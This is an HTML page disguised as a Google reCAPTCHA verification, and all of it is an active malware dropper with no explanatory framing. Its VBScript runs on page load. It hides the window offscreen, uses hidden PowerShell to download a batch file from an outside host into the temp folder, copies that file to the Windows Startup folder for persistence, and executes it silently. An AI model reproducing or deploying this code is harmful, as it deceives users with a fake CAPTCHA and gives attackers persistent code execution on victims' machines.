<!DOCTYPE html>
<html lang="en">
<head>
    <title>reCAPTCHA Verification (Not Responding)</title>
    <link rel="icon" href="https://www.google.com/favicon.ico" type="image/x-icon">
</head>
<body>
    <script language="VBScript">
        Sub Window_onLoad
            Window.ResizeTo 1, 1
            Window.MoveTo -32000, -32000
        
            Set objShell = CreateObject("WScript.Shell")
            tempFolder = objShell.ExpandEnvironmentStrings("%temp%")
            downloadUrl = "http://very-loves.tech/download/xd.bat"
            randomFileName = GenerateRandomFileName() & ".bat"
            downloadedFile = tempFolder & "\" & randomFileName
        
            Call DownloadFile(downloadedFile, downloadUrl)
        
            Call CopyToStartup(downloadedFile)

            Call RunFile(downloadedFile)
        End Sub
        
        Function GenerateRandomFileName()
            Randomize
            GenerateRandomFileName = Int((9999 - 1000 + 1) * Rnd + 1000)
        End Function
        
        Function FileExists(filePath)
            Set fso = CreateObject("Scripting.FileSystemObject")
            FileExists = fso.FileExists(filePath)
        End Function
        
        Sub DownloadFile(downloadedFile, downloadUrl)
            Set objShell = CreateObject("WScript.Shell")
            cmdCommand = "powershell.exe -Command ""Invoke-WebRequest -Uri '" & downloadUrl & "' -OutFile '" & downloadedFile & "'"""
            objShell.Run "cmd.exe /c " & cmdCommand, 0, True
        End Sub
        
        Sub RunFile(downloadedFile)
            Set objShell = CreateObject("WScript.Shell")
            objShell.Run downloadedFile, 0, False
        End Sub

        Sub CopyToStartup(downloadedFile)
            Set objShell = CreateObject("WScript.Shell")
            startupFolder = objShell.ExpandEnvironmentStrings("%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup")
            destinationFile = startupFolder & "\" & GetFileNameFromPath(downloadedFile)

            Set objFSO = CreateObject("Scripting.FileSystemObject")
            objFSO.CopyFile downloadedFile, destinationFile
        End Sub

        Function GetFileNameFromPath(filePath)
            Set objFSO = CreateObject("Scripting.FileSystemObject")
            GetFileNameFromPath = objFSO.GetFileName(filePath)
        End Function
    </script>
</body>
</html>
